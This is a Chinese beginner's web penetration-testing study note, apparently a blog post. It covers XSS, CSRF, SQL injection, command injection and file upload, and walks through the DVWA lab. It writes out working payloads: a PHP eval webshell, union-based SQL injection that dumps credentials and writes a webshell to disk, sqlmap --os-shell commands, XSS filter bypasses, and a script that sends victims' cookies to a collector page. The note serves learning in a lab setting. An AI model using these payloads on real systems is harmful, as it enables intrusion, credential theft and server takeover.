web渗透初学笔记

web基础知识

前端漏洞:钓鱼、暗链、xss、点击劫持、csrf、url跳转
后端漏洞:sql注入、命令注入、文件上传、文件包含、暴力破解

 

例子

报文

 

熟悉状态码

 

目前流行的网站架构

 

搭建phpstudy集成软件

 

在PHPstudy的mySQL中操作SQL语法

创建数据库  CREATE DATABASE my_db;

查看数据库 SHOW databases;

切换数据库 USE my_db;

删除数据库 DROP DATABASE my_db;

TIPS:分号作为语句的结束,程序中会自动补充

 

 

 

web安全基础

常见的安全事件

篡改网页

搜索引擎语法Site:domain(在某个域名或子域名下的网页)+Intitle:keyword(正文中含有关键词的网页)/Intitle:keyword(标题中含有关键词的网页)

exa:keyword为hacked by:时往往能查到自己管理域名下被黑的网站

------------------------------------------------------------------------------------------------------------------------------------------------------------------

暗链

优化在搜索引擎里的排名

不是为人准备,是为搜索引擎中的爬虫准备的。

------------------------------------------------------------------------------------------------------------------------------------------------------------------

webshell

获得管理权限后->上传webshell=(小/大)马=后门

------------------------------------------------------------------------------------------------------------------------------------------------------------------

常见web漏洞

XSS  Who stole my keys

概念:黑客通过"html注入"篡改网页,插入了恶意脚本(即xss脚本),当用户在浏览网页时,实现控制用户浏览器行为的一种攻击方式。

危害:盗取用户信息/钓鱼/制造蠕虫等

三种类型 :存储型/反射型/DOM型

存储型:攻击代码位置:数据库;输出:HTTP响应

反射型:攻击代码位置:url        ;输出:HTTP响应。

DOM型:攻击代码位置:url       ;输出:DOM节点。

 

------存储型演示------

左管理端/右访问端

上传xss脚本

结果

------反射型演示------

------DOM型演示------

不能通过查看源代码的方式找到xss脚本的位置,通过firebug可以。

在源码中输入hash

总结

------------------------------------------------------------------------------------------------------------------------------------------------------------------

CSRF     who moved my cheese

概念:利用用户已登陆的身份,在用户毫不知情的情况下,以用户的名义完成非法操作。

危害:执行恶意操作(被转账/被发垃圾评论等)/制造蠕虫等

黑客构造的恶意网页

------------------------------------------------------------------------------------------------------------------------------------------------------------------

点击劫持

概念:通过覆盖不可见的框架误导受害者点击而造成的攻击行为。利用iframe或者其他标签的属性。

效果

------------------------------------------------------------------------------------------------------------------------------------------------------------------

URL跳转

概念

header头跳转

js跳转

meta标签实现跳转

------------------------------------------------------------------------------------------------------------------------------------------------------------------

SQL

原理:数据和代码未分离,即数据当成了代码来执行

 

 

一次SQL注入的过程

 

SQL注入的必备条件

1.可以控制输入的数据

2.服务器要执行的代码拼接了控制的数据

 

危害:获取数据库信息

                管理员后台用户名和密码

                获取其他数据库敏感信息:用户名/密码/手机号码/身份证/银行卡信息...

                整个数据库:脱裤

        获取服务器权限

                植入webshell,获取服务器后门

                读取服务器敏感文件

                万能密码

------------------------------------------------------------------------------------------------------------------------------------------------------------------            

命令注入

step:

1.调用可执行系统命令的函数

2.函数或函数参数可控(条件

3.拼接注入命令

 

& 拼接符,一次执行拼接的命令

| 管道符,前面命令的输出作为后面命令的输入

 

PHP执行命令的函数

system/exec/shell_exec/eval......

 

一个函数或函数参数都不可控的例子

命令执行的结果跟DOS环境中一样

 

一个参数可控的例子

拼接过程。注:&符号需转义为%26

------------------------------------------------------------------------------------------------------------------------------------------------------------------

文件操作漏洞

文件上传漏洞

1.可以上传可执行脚本

2.脚本拥有执行权限

任意文件下载漏洞

1.未验证下载文件格式

2.未限制请求的路径

文件包含漏洞

本地文件包含

远程文件包含

重要的两个参数:allow_url_fopen = On(是否允许打开远程文件);allow_url_include = On(是否允许包含远程文件);

 

web安全工具

代理抓包分析工具

web漏洞扫描工具初级

在线工具 

 

传统web站点渗透测试基本步骤

------------------------------------------------------------------------------------------------------------------------------------------------------------------

比较流行的代理抓包工具

Burpsuite/charles/fiddler

浏览器插件

Advanced Cookie Manager/Firebug/HackBar/Proxy Switcher

Firebug:网络与审查页面元素

Hackbar:构造数据包

Cookie Manager:修改Cookie值

------------------------------------------------------------------------------------------------------------------------------------------------------------------

敏感文件探测

部署python环境

敏感文件:敏感文件对于网站来说,就像是网站(网站管理员)的秘密日记,这些文件没有被保护好被访问者发现了,就有可能暴露站点的脆弱性或保密数据。

常见的”敏感文件“类型:

网站管理后台(login.xx)/数据文件(.sql)/备份文件(.tar.gz)/webshell(.php?)/

常用软件:御剑/add:用py自写字典生成器

tips:判断站点脚本类型asp/php/aspx/jsp

        1.判断网站下index.xxx(xxx为asp/php等)类型是否存在

------------------------------------------------------------------------------------------------------------------------------------------------------------------

漏扫工具

AWVS/Netsparker/AppScan

风险

  1. 对目标站点的误伤(高流量,请求了危险功能(如删除数据库)...)
  2. 漏扫的盲区:逻辑漏洞 

------------------------------------------------------------------------------------------------------------------------------------------------------------------

SQL注入漏洞

sqlmap获取

发现和利用sql注入漏洞基本流程

1.找到有数据库交互的功能页面(如:xxx/artist.php?artist=1    问号+参数)
2.判断页面是否存在sql注入(artist=1'  报错存在注入)
3.利用sql注入漏洞读取数据

进行注入尝试:GET/POST

sqlmap中level和risk参数的作用

 

 

 

实战

DVWA环境的部署

1.下载DVWA到www目录下
2.config文件下config.inc.php文件中的$_DVWA[ 'db_password' ]项改为自己mysql的密码
3.访问localhost/dvwa路径/setup.php检测环境是否配置好
4.访问localhost/dvwa路径/login.php     登陆名默认为admin/密码默认为password

===============================================================================================

  • 1.暴力破解

辅助工具owasp zap(官网www.owasp.org)

===============================================================================================

  • 2.命令注入

命令拼接符

A&B简单拼接,AB无制约
A&&BA执行成功,接着才能执行B
A|BA的输出作为B的输入
A||BA执行失败才会执行B

技巧:不显示输出结果...

ADD:DNS查询

===============================================================================================

  • 3.CSRF

==============low============

HH-Tamperdata抓包  ->  Replay in browser ->  改包  ->构造js/html(包装url)

==============medium============

HH-Tamperdata抓包  ->  Replay in browser ->  改包  ->构造html(Tamper Popup:改变referer)

==============high============

===============================================================================================

  • 4.文件包含

==============low============

本地文件执行

远程文件执行

dvwa的host,远程执行文件成功

 

==============medium============

本地文件执行

远程文件执行

dvwa的host,远程执行文件成功

 

==============high============

本地文件执行

远程文件执行

phpinfo.txt内容

dvwa的host,远程执行文件成功

 

===============================================================================================

  • 5.文件上传

==============low============

cmd.php文件内容

<?php  @eval($_GET['cmd']); ?>

 

 

 

==============medium============

step1.proxy switcher&zap设置代理开启

step2.两次抓包结果对比(right/wrong;zap)

step3.不断用成功上传包的内容替换失败的位置,进行重放,然后看响应包的结果;确定文件类型被服务端限制

step4修改文件类型->发送修改后的包->后续操作与low等级一样

 

==============high============

制作"内涵图"

cmd:copy R.jpg/b + W.txt/a 2.jpg

W.txt内容

除了借助文件包含漏洞,还可借助web容器解析漏洞

如:nginx解析漏洞

phpstudy切换->确认变量cgi.fix_pathinfo=1

畸形解析

xxx/xxx.php只要前一个文件存在,就会当成后面php文件的解析

 

==============impossible============

文件重命名/文件压缩重生成/存储目录执行权限/存储目录与web分离

 

===============================================================================================

  • 6.SQL回显注入

需检测到id参数sql注入

http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/  ?id=1 &Submit#

如果存在注入,则会报错并且把错误的信息展示出来

You have an error in your SQL...

 

三种注入POC;判断闭合方式

...where user_id = $id     =》     ...where user_id = 1 or 1024=1024

...where user_id =' $id'     =》     ...where user_id = '1' or '1024'='1024'

...where user_id = ''$id''     =》     ...where user_id = ''1'' or ''1024''=''1024''

sql注入中通常需要闭合,如果yu'j语句比较复杂,则使用sql注释符闭合

#     --空格      /**/

#:与url中的#区分,常编码成%23

 

查询之前需要确定查询字段数

1' order by 25--     =》     ?id=1'+order+by+25--+

再利用二分法查找

 

==============low============

------获取数据库的敏感信息------

确定回显点

?id=xx'+union+select+1,2--+

查询数据库版本/目录)

?id=xx'+union+select+@@version,@@datadir--+

查询用户名/数据库名(查到数据库dvwa)

?id=xx'+union+select+user(),database()--+

查询表名(查到表users)

?id=xx'+union+select+1,table_name+from+information_schema.tables+where+table_schema='dvwa'--+

查询列名

?id=xx'+union+select+1,column_name+from+information_schema.columns+where+table_name='users'--+

查询用户名/密码

?id=xx'+union+select+user,password+from+users--+

 

------获取系统的敏感信息------

文件读取

?id=xx'+union+select+1,load_file("c:\\windows\\win.ini")--+

 

------控制服务器------

写入webshell

php一句话木马<?php @eval($_GET['cmd']) ?>

 

前提:需知写入的地方,即木马放置的物理路径

套路:引发异常,暴出物理路径

1.构造错误的sql语句

?id=xx'+union+select+“xx”,"xx"+into+outfile+"xx"--+

2.成功获取web目录

D:\phpstudy\www\DVWA-1.9\vulnerabilities\sqli\source\low.php

3.写入webshell

?id=xx'+union+select+"<?php @eval($_GET['cmd']) ?>","webshell"+into+outfile+'DVWA-1.9\\cmd.php'--+

4.访问,成功写入

5.成功读取

 

sqlmap了解一下?

登陆状态下

攻击参数

sqlmap -u "http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/  ?id=1 &Submit#" -p "id" --cookie "cookie参数" 

查询用户和数据库

qlmap -u "http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/  ?id=1 &Submit#" -p "id" --cookie "cookie参数"  --current-user --current-db

查询表

sqlmap -u "http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/  ?id=1 &Submit#" -p "id" --cookie "cookie参数"  -D dvwa --tables

查询列名

sqlmap -u "http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/  ?id=1 &Submit#" -p "id" --cookie "cookie参数" -D dvwa -T user --columns

sqlmap -u "http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/  ?id=1 &Submit#" -p "id" --cookie "cookie参数" -D dvwa -T user -C "user,password" --dump

 

上传webshell

sqlmap -u "http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/  ?id=1 &Submit#" -p "id" --cookie "cookie参数" -D dvwa -T user -C "user,password" --os-shell

 

============medium============

Tamper Data改包

单引号转义:   利用hackbar上把数据库名(dvxa)HEX编码0x64767761   =》 重新发包

sqlmap自动

多了一个--data

sqlmap.py -u "http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/ --data “id=1 &Submit#" -p "id" --cookie "cookie参数" 

==============high============

手工相似

sqlmap需要一些技巧

多了--data--second-order

sqlmap -u "http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/session-input.php(跳转后的页面) --data “id=1 &Submit#" -p "id" --cookie "cookie参数"  --second-order "http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/(原页面)"

 

===============================================================================================

  • 7.SQL盲注

数据库的执行结果不会直接显示在页面上,页面的结果只会显示两种状态

 

三种注入POC;判断闭合方式

...where user_id = $id     =》     ...where user_id = 1 and 1024=1025

...where user_id =' $id'     =》     ...where user_id = '1' and '1024'='1025'

...where user_id = ''$id''     =》     ...where user_id = ''1'' and ''1024''=''1025''

 

先猜解长度

1' and length(database()) >25 --     =》     ?id=1'+and+length(database()) >25+--+       利用二分法查找

再猜解字符

利用函数substr(expression,start,length)获取定义内的字符/子字符串   expresstion:原始字符串,start:子串开始位置,length子串长度

利用函数ascii(string)获取第一个字符的ascii数值

?id=1'+and+ascii(substr(database(),1,1))>64+--+        二分法对每一个字符进行比对查找

SQL盲注分:布尔型(以上这类)/延时型(以下这类)

函数if(A,1,0) A为真返回1,为假返回0

?id=1'+and+sleep(if(length(database())=5,5,0))--+

注:此外除了真假/延时,还有benchmark(count,expr)函数可利用

 

sqlmap

==============low============

同回显注入一样

==============medium============

一样

==============high============

失效

Firebug分析:id写到了cookie中再提交

sqlmap.py -u "http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli_blind/ -p "id" --cookie "cookie参数" --lever 2

注:lever>=2

==============impossible============

检测了id数据类型,使用了预编译绑定id变量;

 

===============================================================================================

 

  • 8.xss

客户端代码注入,通常注入代码是js脚本

能弹窗,就说明存在xss

--------------------------------------------------反射型-----------------------------------------------------------

==============low============

建立一个cookie.php文件,放入数据库根目录下(localhost/)

<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>

插入弹窗脚本

<script>alert(1)</script>
弹窗,说面存在xss

替换成远程盗取cookie的语句

<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>

进行URL编码后即可在本地服务器指定位置(localhost/)下得到(hacked)用户的cookie

跳转到登陆页面,更换cookie,直接访问首页(login.php  ->  index.php)

==============medium============

<script>标签被过滤一次,所以构造

<scr<script>ipt>alert(1)</script>

tip:大小写混合<scRipT>

==============high============

img标签<img scr="x" οnerrοr="alert(1)">                F12查看成功插入标签

iframe标签<iframe οnlοad=alert(1)>                      F12查看成功插入标签

==============impossible============

输入&"'<>    F12查看     &amp;&quot;'&lt;&gt;    除了单引号外其他符号都被编码

查看源码htmlspecialchars函数过滤了(函数中默认不对‘编码,但’依然有xss的风险)

 

--------------------------------------------------存储型-----------------------------------------------------------

==============low============

前端限制:输入长度被限制

TamperData绕过:直接改包

查看结果:成功绕过限制。name和message都注入chen成功

==============medium============

大小写混合

name成功,message失败

==============high============

img标签成功绕过

name成功,message失败

==============impossible============

单引号被转义为/‘,其他符号被编码

mysql_real_escape_string()函数对引号转义,防止sql注入

 

--------------------------------------------------修复-----------------------------------------------------------

一是用户的输入:黑名单×白名单√

二是服务端的输出:html编码/js转义

 

 

END

  • 73
    点赞
  • 398
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值